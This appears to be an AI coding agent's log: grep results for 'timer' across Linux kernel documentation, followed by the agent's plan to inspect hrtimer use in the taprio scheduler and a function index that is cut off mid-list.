 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios=37=Description:	Read-only. Returns the enumeration value of the working mode of
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:38:		the retimer B configured by the Nios firmware. The value format
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios:39:		is the same as retimer_A_mode.
 Documentation/ABI/testing/sysfs-bus-dfl-devices-n3000-nios-40-
 --
 Documentation/ABI/testing/sysfs-bus-fcoe=128=Notes: A device loss infrastructure similar to the FC Transport's
 --
 Documentation/ABI/testing/sysfs-bus-fcoe-131-       used to identify the discovered FCF. FCFs will exist in a
 Documentation/ABI/testing/sysfs-bus-fcoe:132:       "Disconnected" state until either the timer expires and the
 Documentation/ABI/testing/sysfs-bus-fcoe-133-       FCF becomes "Deleted" or the FCF is rediscovered and becomes
 --
 Documentation/ABI/testing/sysfs-bus-fsi=23=Description:
 --
 Documentation/ABI/testing/sysfs-bus-fsi-29-		ongoing operation in case of an expired 'Master Time Out'
 Documentation/ABI/testing/sysfs-bus-fsi:30:		timer.
 Documentation/ABI/testing/sysfs-bus-fsi-31-
 --
 Documentation/ABI/testing/sysfs-bus-iio=12=Description:
 --
 Documentation/ABI/testing/sysfs-bus-iio-16-		provided by a separate driver for other hardware (e.g.
 Documentation/ABI/testing/sysfs-bus-iio:17:		periodic timer, GPIO or high resolution timer).
 Documentation/ABI/testing/sysfs-bus-iio-18-
 --
 Documentation/ABI/testing/sysfs-bus-iio=101=Description:
 --
 Documentation/ABI/testing/sysfs-bus-iio-110-
 Documentation/ABI/testing/sysfs-bus-iio:111:		The stm32-timer-trigger has the additional characteristic that
 Documentation/ABI/testing/sysfs-bus-iio-112-		a sampling_frequency of 0 is defined to stop sampling.
 --
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a=4=Description:
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a-5-		Used to enable an output for balancing cells for time
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a:6:		controlled via in_voltage_Y-voltageZ_balance_switch_timer.
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a-7-
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a:8:What:		/sys/bus/iio/devices/iio:deviceX/in_voltageY-voltageZ_balance_switch_timer
 Documentation/ABI/testing/sysfs-bus-iio-adc-ad7280a-9-KernelVersion:	5.14
 --
 Documentation/ABI/testing/sysfs-bus-iio-adc-stm32=4=Description:
 Documentation/ABI/testing/sysfs-bus-iio-adc-stm32-5-		The STM32 ADC can be configured to use external trigger sources
 Documentation/ABI/testing/sysfs-bus-iio-adc-stm32:6:		(e.g. timers, pwm or exti gpio). Then, it can be tuned to start
 Documentation/ABI/testing/sysfs-bus-iio-adc-stm32-7-		conversions on external trigger by either:
 --
 Documentation/ABI/testing/sysfs-bus-iio-timer-stm32=4=Description:
 --
 Documentation/ABI/testing/sysfs-bus-iio-timer-stm32-15-				The update event is selected as trigger output.
 Documentation/ABI/testing/sysfs-bus-iio-timer-stm32:16:				For instance a master timer can then be used
 Documentation/ABI/testing/sysfs-bus-iio-timer-stm32:17:				as a prescaler for a slave timer.
 Documentation/ABI/testing/sysfs-bus-iio-timer-stm32-18-		- "compare_pulse"
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=208=Description:	When new NVM image is written to the non-active NVM
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt-223-		  currently written in the storage area. This is only
 Documentation/ABI/testing/sysfs-bus-thunderbolt:224:		  supported with USB4 devices and retimers.
 Documentation/ABI/testing/sysfs-bus-thunderbolt-225-
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=317=Description:	Writing 1 to this attribute puts the USB4 port into
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt-321-		hotplug events. This is used to update NVM firmware of
 Documentation/ABI/testing/sysfs-bus-thunderbolt:322:		on-board retimers. Writing 0 puts the port back to
 Documentation/ABI/testing/sysfs-bus-thunderbolt-323-		online mode.
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt-325-		This attribute is only visible if the platform supports
 Documentation/ABI/testing/sysfs-bus-thunderbolt:326:		powering on retimers when there is no cable connected.
 Documentation/ABI/testing/sysfs-bus-thunderbolt-327-
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=332=Description:	When the USB4 port is in offline mode writing 1 to this
 Documentation/ABI/testing/sysfs-bus-thunderbolt-333-		attribute forces rescan of the sideband for on-board
 Documentation/ABI/testing/sysfs-bus-thunderbolt:334:		retimers. Each retimer appear under the USB4 port as if
 Documentation/ABI/testing/sysfs-bus-thunderbolt:335:		the USB4 link was up. These retimers act in the same way
 Documentation/ABI/testing/sysfs-bus-thunderbolt-336-		as if the cable was connected so upgrading their NVM
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=342=Contact:	Mika Westerberg <mika.westerberg@linux.intel.com>
 Documentation/ABI/testing/sysfs-bus-thunderbolt:343:Description:	Retimer device identifier read from the hardware.
 Documentation/ABI/testing/sysfs-bus-thunderbolt-344-
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=363=Contact:	Mika Westerberg <mika.westerberg@linux.intel.com>
 Documentation/ABI/testing/sysfs-bus-thunderbolt:364:Description:	Holds retimer NVM version number. Format: %x.%x, major.minor.
 Documentation/ABI/testing/sysfs-bus-thunderbolt-365-
 --
 Documentation/ABI/testing/sysfs-bus-thunderbolt=369=Contact:	Mika Westerberg <mika.westerberg@linux.intel.com>
 Documentation/ABI/testing/sysfs-bus-thunderbolt:370:Description:	Retimer vendor identifier read from the hardware.
 --
 Documentation/ABI/testing/sysfs-bus-usb=274=Description:
 --
 Documentation/ABI/testing/sysfs-bus-usb-276-		L1 sleep state. The usb2_lpm_l1_timeout attribute allows
 Documentation/ABI/testing/sysfs-bus-usb:277:		tuning the timeout for L1 inactivity timer (LPM timer), e.g.
 Documentation/ABI/testing/sysfs-bus-usb-278-		needed inactivity time before host requests the device to go to L1 sleep.
 --
 Documentation/ABI/testing/sysfs-class-devfreq=112=Description:
 --
 Documentation/ABI/testing/sysfs-class-devfreq-119-
 Documentation/ABI/testing/sysfs-class-devfreq:120:What:		/sys/class/devfreq/.../timer
 Documentation/ABI/testing/sysfs-class-devfreq-121-Date:		July 2020
 --
 Documentation/ABI/testing/sysfs-class-devfreq=123=Description:
 Documentation/ABI/testing/sysfs-class-devfreq:124:		This ABI shows and stores the kind of work timer by users.
 Documentation/ABI/testing/sysfs-class-devfreq:125:		This work timer is used by devfreq workqueue in order to
 Documentation/ABI/testing/sysfs-class-devfreq-126-		monitor the device status such as utilization. The user
 Documentation/ABI/testing/sysfs-class-devfreq:127:		can change the work timer on runtime according to their demand
 Documentation/ABI/testing/sysfs-class-devfreq-128-		as following::
 Documentation/ABI/testing/sysfs-class-devfreq-129-
 Documentation/ABI/testing/sysfs-class-devfreq:130:			echo deferrable > /sys/class/devfreq/.../timer
 Documentation/ABI/testing/sysfs-class-devfreq:131:			echo delayed > /sys/class/devfreq/.../timer
 Documentation/ABI/testing/sysfs-class-devfreq-132-
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern=4=Description:
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-6-		the brightness for the specified duration with one software
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern:7:		timer. It can do gradual dimming and step change of brightness.
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-8-
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern=17=Description:
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-19-		the brightness for the specified duration with one software
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern:20:		timer. It can do gradual dimming and step change of brightness.
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-21-
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-22-		Unlike the /sys/class/leds/<led>/pattern, this attribute runs
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern:23:		a pattern on high-resolution timer (hrtimer).
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-24-
 --
 Documentation/ABI/testing/sysfs-class-net-cdc_ncm=61=Description:
 --
 Documentation/ABI/testing/sysfs-class-net-cdc_ncm-68-
 Documentation/ABI/testing/sysfs-class-net-cdc_ncm:69:What:		/sys/class/net/<iface>/cdc_ncm/tx_timer_usecs
 Documentation/ABI/testing/sysfs-class-net-cdc_ncm-70-Date:		May 2014
 --
 Documentation/ABI/testing/sysfs-class-power=448=Description:
 --
 Documentation/ABI/testing/sysfs-class-power-456-			      "Over voltage", "Under voltage", "Unspecified failure", "Cold",
 Documentation/ABI/testing/sysfs-class-power:457:			      "Watchdog timer expire", "Safety timer expire",
 Documentation/ABI/testing/sysfs-class-power-458-			      "Over current", "Calibration required", "Warm",
 --
 Documentation/ABI/testing/sysfs-class-power=661=Description:
 --
 Documentation/ABI/testing/sysfs-class-power-665-
 Documentation/ABI/testing/sysfs-class-power:666:What:		/sys/class/power_supply/max14577-charger/device/fast_charge_timer
 Documentation/ABI/testing/sysfs-class-power-667-Date:		October 2014
 --
 Documentation/ABI/testing/sysfs-class-power=670=Description:
 Documentation/ABI/testing/sysfs-class-power-671-		This entry shows and sets the maximum time the max14577
 Documentation/ABI/testing/sysfs-class-power:672:		charger operates in fast-charge mode. When the timer expires
 Documentation/ABI/testing/sysfs-class-power-673-		the device will terminate fast-charge mode (charging current
 --
 Documentation/ABI/testing/sysfs-class-power-680-
 Documentation/ABI/testing/sysfs-class-power:681:What:		/sys/class/power_supply/max77693-charger/device/fast_charge_timer
 Documentation/ABI/testing/sysfs-class-power-682-Date:		January 2015
 --
 Documentation/ABI/testing/sysfs-class-power=685=Description:
 Documentation/ABI/testing/sysfs-class-power-686-		This entry shows and sets the maximum time the max77693
 Documentation/ABI/testing/sysfs-class-power:687:		charger operates in fast-charge mode. When the timer expires
 Documentation/ABI/testing/sysfs-class-power-688-		the device will terminate fast-charge mode (charging current
 --
 Documentation/ABI/testing/sysfs-class-power=700=Description:
 --
 Documentation/ABI/testing/sysfs-class-power-711-
 Documentation/ABI/testing/sysfs-class-power:712:What:		/sys/class/power_supply/max77693-charger/device/top_off_timer
 Documentation/ABI/testing/sysfs-class-power-713-Date:		January 2015
 --
 Documentation/ABI/testing/sysfs-class-power=716=Description:
 Documentation/ABI/testing/sysfs-class-power-717-		This entry shows and sets the maximum time the max77693
 Documentation/ABI/testing/sysfs-class-power:718:		charger operates in top-off charge mode. When the timer expires
 Documentation/ABI/testing/sysfs-class-power-719-		the device will terminate top-off charge mode (charging current
 --
 Documentation/ABI/testing/sysfs-class-power=821=Description:
 --
 Documentation/ABI/testing/sysfs-class-power-826-
 Documentation/ABI/testing/sysfs-class-power:827:What:		/sys/class/power_supply/max8971-charger/fast_charge_timer
 Documentation/ABI/testing/sysfs-class-power-828-Date:		May 2025
 --
 Documentation/ABI/testing/sysfs-class-power=831=Description:
 Documentation/ABI/testing/sysfs-class-power-832-		This entry shows and sets the maximum time the max8971
 Documentation/ABI/testing/sysfs-class-power:833:		charger operates in fast-charge mode. When the timer expires
 Documentation/ABI/testing/sysfs-class-power-834-		the device will terminate fast-charge mode (charging current
 --
 Documentation/ABI/testing/sysfs-class-power=846=Description:
 --
 Documentation/ABI/testing/sysfs-class-power-855-
 Documentation/ABI/testing/sysfs-class-power:856:What:		/sys/class/power_supply/max8971-charger/top_off_timer
 Documentation/ABI/testing/sysfs-class-power-857-Date:		May 2025
 --
 Documentation/ABI/testing/sysfs-class-power=860=Description:
 Documentation/ABI/testing/sysfs-class-power-861-		This entry shows and sets the maximum time the max8971
 Documentation/ABI/testing/sysfs-class-power:862:		charger operates in top-off charge mode. When the timer expires
 Documentation/ABI/testing/sysfs-class-power-863-		the device will terminate top-off charge mode (charging current
 --
 Documentation/ABI/testing/sysfs-class-watchdog=98=Description:
 --
 Documentation/ABI/testing/sysfs-class-watchdog-100-		system has booted from the alternate flash chip due to
 Documentation/ABI/testing/sysfs-class-watchdog:101:		expiration of a watchdog timer of AST2400/AST2500 when
 Documentation/ABI/testing/sysfs-class-watchdog-102-		alternate boot function was enabled with 'aspeed,alt-boot'
 --
 Documentation/ABI/testing/sysfs-devices-edac=4=Description:	This write-only control file will zero all the statistical
 Documentation/ABI/testing/sysfs-devices-edac-5-		counters for UE and CE errors on the given memory controller.
 Documentation/ABI/testing/sysfs-devices-edac:6:		Zeroing the counters will also reset the timer indicating how
 Documentation/ABI/testing/sysfs-devices-edac-7-		long since the last counter were reset. This is useful for
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=6=Description:
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-15-		BIT(4): Correct status reported for wakeups from S4/S5 if set
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:16:		BIT(5): The AC timer wakes up from S4 if set
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:17:		BIT(6): The AC timer wakes up from S5 if set
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:18:		BIT(7): The DC timer wakes up from S4 if set
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:19:		BIT(8): The DC timer wakes up from S5 if set
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-20-		======= ======================================================
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=27=Description:
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:28:		(RW) The AC alarm timer value.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-29-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:30:		Reads return the current AC alarm timer value in seconds or
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-31-		"disabled", if the AC alarm is not set to wake up the system.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-32-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:33:		Write a new AC alarm timer value in seconds or "disabled" to it
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:34:		to set the AC alarm timer or to disable it, respectively.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-35-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:36:		If the AC alarm timer is set through this attribute and it
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-37-		expires, it will immediately wake up the system from the S3
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=44=Description:
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:45:		(RW) The AC alarm expired timer wake policy (see ACPI 6.2,
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-46-		Section 9.18 for details).
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-47-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:48:		Reads return the current expired timer wake delay for the AC
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:49:		alarm timer or "never", if the policy is to discard AC timer
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-50-		wakeups if the system is on DC power.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-51-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:52:		Write a new expired timer wake delay for the AC alarm timer in
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:53:		seconds or "never" to it to set the expired timer wake delay for
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:54:		the AC alarm timer or to set its expired wake policy to discard
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-55-		wakeups if the system is on DC power, respectively.
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=60=Description:
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-63-		Reads return a hexadecimal bitmask representing the AC alarm
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:64:		timer status with the following meaning of bits (see ACPI 6.2,
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-65-		Section 9.18.5):
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-67-		======= ======================================================
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:68:		Bit(0): The timer has expired if set.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:69:		Bit(1): The timer has woken up the system from a sleep state
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-70-		        (S3 or S4/S5 if supported) if set.
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-74-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:75:		Reads also cause the AC alarm timer status to be reset.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-76-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:77:		Another way to reset the status of the AC alarm timer is to
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-78-		write (the number) 0 to this file.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-79-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:80:		If the status return value indicates that the timer has expired,
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-81-		it will immediately wake up the system from the S3 sleep state
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=88=Description:
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:89:		(RW,optional) The DC alarm timer value.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-90-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-91-		This attribute is only present if the TAD supports a separate
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:92:		DC timer.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-93-
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=99=Description:
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:100:		(RW,optional) The DC alarm expired timer wake policy.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-101-
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-102-		This attribute is only present if the TAD supports a separate
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:103:		DC timer.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-104-
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD=111=Description:
 --
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-114-		This attribute is only present if the TAD supports a separate
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD:115:		DC timer.
 Documentation/ABI/testing/sysfs-devices-platform-ACPI-TAD-116-
 --
 Documentation/ABI/testing/sysfs-devices-platform-ipmi=124=Description:
 --
 Documentation/ABI/testing/sysfs-devices-platform-ipmi-143-		long_timeouts		(RO) Number of times the driver
 Documentation/ABI/testing/sysfs-devices-platform-ipmi:144:					requested a timer while nothing was in
 Documentation/ABI/testing/sysfs-devices-platform-ipmi-145-					progress.
 --
 Documentation/ABI/testing/sysfs-devices-platform-ipmi-156-		short_timeouts		(RO) Number of times the driver
 Documentation/ABI/testing/sysfs-devices-platform-ipmi:157:					requested a timer while an operation was
 Documentation/ABI/testing/sysfs-devices-platform-ipmi-158-					in progress.
 --
 Documentation/ABI/testing/sysfs-devices-power=189=Description:
 --
 Documentation/ABI/testing/sysfs-devices-power-197-		to writing "on" to the power/control attribute).  Values >=
 Documentation/ABI/testing/sysfs-devices-power:198:		1000 will cause the autosuspend timer expiration to be rounded
 Documentation/ABI/testing/sysfs-devices-power-199-		up to the nearest second.
 --
 Documentation/ABI/testing/sysfs-driver-genwqe=44=Description:    Interface to read the cards temperature sense register.
 Documentation/ABI/testing/sysfs-driver-genwqe-45-
 Documentation/ABI/testing/sysfs-driver-genwqe:46:What:           /sys/class/genwqe/genwqe<n>_card/freerunning_timer
 Documentation/ABI/testing/sysfs-driver-genwqe-47-Date:           Oct 2013
 Documentation/ABI/testing/sysfs-driver-genwqe=48=Contact:        haver@linux.vnet.ibm.com
 Documentation/ABI/testing/sysfs-driver-genwqe:49:Description:    Interface to read the cards free running timer.
 Documentation/ABI/testing/sysfs-driver-genwqe-50-                Used for performance and utilization measurements.
 --
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start=5=Description:	An integer representing a set of wakeup events as follows:
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start:6:		1: Wake to enter hibernation when the wakeup timer expires
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start-7-		2: Wake to enter hibernation when the battery reaches a
 --
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start-11-		indicates that the system will wake to enter hibernation when
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start:12:		either the wakeup timer expires or the battery reaches a
 Documentation/ABI/testing/sysfs-driver-intel-rapid-start-13-		critical level.
 --
 Documentation/ABI/testing/sysfs-driver-ufs=4=Description:
 Documentation/ABI/testing/sysfs-driver-ufs:5:		This file contains the auto-hibernate idle timer setting of a
 Documentation/ABI/testing/sysfs-driver-ufs-6-		UFS host controller. A value of '0' means auto-hibernate is not
 --
 Documentation/ABI/testing/sysfs-firmware-acpi=4=Description:
 --
 Documentation/ABI/testing/sysfs-firmware-acpi-36-				since the last full boot sequence.
 Documentation/ABI/testing/sysfs-firmware-acpi:37:			resume_avg_ns: Average timer value of all resume cycles
 Documentation/ABI/testing/sysfs-firmware-acpi-38-				logged since the last full boot sequence,
 --
 Documentation/ABI/testing/sysfs-firmware-acpi=98=Description:
 --
 Documentation/ABI/testing/sysfs-firmware-acpi-127-		  ff_gbl_lock:	     0   enable
 Documentation/ABI/testing/sysfs-firmware-acpi:128:		  ff_pmtimer:	     0  invalid
 Documentation/ABI/testing/sysfs-firmware-acpi-129-		  ff_pwr_btn:	     0   enable
 --
 Documentation/ABI/testing/sysfs-firmware-acpi-180-
 Documentation/ABI/testing/sysfs-firmware-acpi:181:		ff_pmtimer   PM Timer
 Documentation/ABI/testing/sysfs-firmware-acpi-182-
 --
 Documentation/PCI/pci-error-recovery.rst=134=is the proper "synchronization point", that is, it gives the driver
 Documentation/PCI/pci-error-recovery.rst:135:a chance to cleanup, waiting for pending stuff (timers, whatever, etc...)
 Documentation/PCI/pci-error-recovery.rst-136-to complete; it can take semaphores, schedule, etc... everything but
 --
 Documentation/PCI/pci.rst=221=pci_set_master() will enable DMA by setting the bus master bit
 Documentation/PCI/pci.rst:222:in the PCI_COMMAND register. It also fixes the latency timer value if
 Documentation/PCI/pci.rst-223-it's set to something bogus by the BIOS.  pci_clear_master() will
 --
 Documentation/RCU/Design/Data-Structures/Data-Structures.rst=1008=value otherwise. The transitions to/from user mode need to be counted
 Documentation/RCU/Design/Data-Structures/Data-Structures.rst:1009:for user mode adaptive-ticks support (see Documentation/timers/no_hz.rst).
 Documentation/RCU/Design/Data-Structures/Data-Structures.rst-1010-
 --
 Documentation/RCU/Design/Requirements/Requirements.rst=1859=functions must therefore cancel any delayed calls to loadable-module
 Documentation/RCU/Design/Requirements/Requirements.rst:1860:functions, for example, any outstanding mod_timer() must be dealt
 Documentation/RCU/Design/Requirements/Requirements.rst:1861:with via timer_shutdown_sync() or similar.
 Documentation/RCU/Design/Requirements/Requirements.rst-1862-
 --
 Documentation/RCU/Design/Requirements/Requirements.rst=1947=Finally, RCU must avoid deadlocks due to interaction between hotplug,
 Documentation/RCU/Design/Requirements/Requirements.rst:1948:timers and grace period processing. It does so by maintaining its own set
 Documentation/RCU/Design/Requirements/Requirements.rst-1949-of books that duplicate the centrally maintained ``cpu_online_mask``,
 --
 Documentation/RCU/Design/Requirements/Requirements.rst=2651=invoked from CPU-hotplug notifiers, due to the fact that SRCU grace
 Documentation/RCU/Design/Requirements/Requirements.rst:2652:periods make use of timers and the possibility of timers being
 Documentation/RCU/Design/Requirements/Requirements.rst:2653:temporarily “stranded” on the outgoing CPU. This stranding of timers
 Documentation/RCU/Design/Requirements/Requirements.rst:2654:means that timers posted to the outgoing CPU will not fire until late in
 Documentation/RCU/Design/Requirements/Requirements.rst-2655-the CPU-hotplug process. The problem is that if a notifier is waiting on
 Documentation/RCU/Design/Requirements/Requirements.rst:2656:an SRCU grace period, that grace period is waiting on a timer, and that
 Documentation/RCU/Design/Requirements/Requirements.rst:2657:timer is stranded on the outgoing CPU, then the notifier will never be
 Documentation/RCU/Design/Requirements/Requirements.rst-2658-awakened, in other words, deadlock has occurred. This same situation of
 --
 Documentation/RCU/NMI-RCU.rst=9=handlers, as well as dynamic irq handlers.  This document describes
 Documentation/RCU/NMI-RCU.rst:10:how to do this, drawing loosely from Zwane Mwaikambo's NMI-timer
 Documentation/RCU/NMI-RCU.rst-11-work in an old version of "arch/x86/kernel/traps.c".
 --
 Documentation/RCU/listRCU.rst=400=are those that will be removed and destroyed after one or more grace
 Documentation/RCU/listRCU.rst:401:periods. One such example can be found in the timerfd subsystem. When a
 Documentation/RCU/listRCU.rst-402-``CLOCK_REALTIME`` clock is reprogrammed (for example due to setting
 Documentation/RCU/listRCU.rst:403:of the system time) then all programmed ``timerfds`` that depend on
 Documentation/RCU/listRCU.rst-404-this clock get triggered and processes waiting on them are awakened in
 Documentation/RCU/listRCU.rst:405:advance of their scheduled expiry. To facilitate this, all such timers
 Documentation/RCU/listRCU.rst-406-are added to an RCU-managed ``cancel_list`` when they are setup in
 Documentation/RCU/listRCU.rst:407:``timerfd_setup_cancel()``::
 Documentation/RCU/listRCU.rst-408-
 Documentation/RCU/listRCU.rst:409:	static void timerfd_setup_cancel(struct timerfd_ctx *ctx, int flags)
 Documentation/RCU/listRCU.rst-410-	{
 --
 Documentation/RCU/listRCU.rst-421-		} else {
 Documentation/RCU/listRCU.rst:422:			__timerfd_remove_cancel(ctx);
 Documentation/RCU/listRCU.rst-423-		}
 --
 Documentation/RCU/listRCU.rst-426-
 Documentation/RCU/listRCU.rst:427:When a timerfd is freed (fd is closed), then the ``might_cancel``
 Documentation/RCU/listRCU.rst:428:flag of the timerfd object is cleared, the object removed from the
 Documentation/RCU/listRCU.rst-429-``cancel_list`` and destroyed, as shown in this simplified and inlined
 Documentation/RCU/listRCU.rst:430:version of timerfd_release()::
 Documentation/RCU/listRCU.rst-431-
 Documentation/RCU/listRCU.rst:432:	int timerfd_release(struct inode *inode, struct file *file)
 Documentation/RCU/listRCU.rst-433-	{
 Documentation/RCU/listRCU.rst:434:		struct timerfd_ctx *ctx = file->private_data;
 Documentation/RCU/listRCU.rst-435-
 --
 Documentation/RCU/listRCU.rst-447-		else
 Documentation/RCU/listRCU.rst:448:			hrtimer_cancel(&ctx->t.tmr);
 Documentation/RCU/listRCU.rst-449-		kfree_rcu(ctx, rcu);
 --
 Documentation/RCU/listRCU.rst=453=If the ``CLOCK_REALTIME`` clock is set, for example by a time server, the
 Documentation/RCU/listRCU.rst:454:hrtimer framework calls ``timerfd_clock_was_set()`` which walks the
 Documentation/RCU/listRCU.rst:455:``cancel_list`` and wakes up processes waiting on the timerfd. While iterating
 Documentation/RCU/listRCU.rst-456-the ``cancel_list``, the ``might_cancel`` flag is consulted to skip stale
 Documentation/RCU/listRCU.rst=457=objects::
 Documentation/RCU/listRCU.rst-458-
]
]

gemini-3.1-pro-preview

							input: 73347
							output: 29
							thoughts: 31
						

Okay, here's my summary, presented as a stream of thought:

**Checking `sch_taprio.c` for `hrtimer` Usage**

Right, let's circle back to that `sch_taprio.c` file. I remember we were looking at its `hrtimer` implementation earlier. Time to get a more definitive answer, and I think the fastest way to get a clear picture is to use `codesearch-file-index`. It should be able to quickly show me all instances of `hrtimer` within that specific file. This will help confirm my prior understanding and determine the extent and context of `hrtimer`'s use there. I need to be certain about this.

map[SourceFile:net/sched/sch_taprio.c]

map[Entities:[map[Kind:function Name:advance_sched] map[Kind:function Name:dump_entry] map[Kind:function Name:dump_schedule] map[Kind:function Name:duration_to_length] map[Kind:function Name:fill_sched_entry] map[Kind:function Name:find_entry_to_transmit] map[Kind:function Name:get_cycle_time_elapsed] map[Kind:function Name:get_interval_end_time] map[Kind:function Name:get_packet_txtime] map[Kind:function Name:get_tcp_tstamp] map[Kind:function Name:is_valid_interval] map[Kind:function Name:length_to_duration] map[Kind:function Name:parse_sched_entry] map[Kind:function Name:parse_sched_list] map[Kind:function Name:parse_taprio_schedule] map[Kind:function Name:sched_base_time] map[Kind:function Name:setup_first_end_time] map[Kind:function Name:setup_txtime] map[Kind:function Name:should_change_schedules] map[Kind:function Name:should_restart_cycle] map[Kind:function Name:switch_schedules] map[Kind:function Name:taprio_attach] map[Kind:function Name:taprio_calculate_gate_durations] map[Kind:function Name:taprio_change] map[Kind:function Name:taprio_cleanup_broken_mqprio] map[Kind:function Name:taprio_dequeue] map[Kind:function Name:taprio_dequeue_from_txq] map[Kind:function Name:taprio_dequeue_tc_priority] map[Kind:function Name:taprio_dequeue_txq_priority] map[Kind:function Name:taprio_destroy] map[Kind:function Name:taprio_detect_broken_mqprio] map[Kind:function Name:taprio_dev_notifier] map[Kind:function Name:taprio_disable_offload] map[Kind:function Name:taprio_dump] map[Kind:function Name:taprio_dump_class] map[Kind:function Name:taprio_dump_class_stats] map[Kind:function Name:taprio_dump_stats] map[Kind:function Name:taprio_dump_tc_entries] map[Kind:function Name:taprio_dump_xstats] map[Kind:function Name:taprio_enable_offload] map[Kind:function Name:taprio_enqueue] map[Kind:function Name:taprio_enqueue_one] map[Kind:function Name:taprio_enqueue_segmented] map[Kind:function Name:taprio_entry_allows_tx] map[Kind:function Name:taprio_find] map[Kind:function Name:taprio_free_sched_cb] map[Kind:function Name:taprio_get_start_time] map[Kind:function Name:taprio_get_time] map[Kind:function Name:taprio_graft] map[Kind:function Name:taprio_init] map[Kind:function Name:taprio_leaf] map[Kind:function Name:taprio_module_exit] map[Kind:function Name:taprio_module_init] map[Kind:function 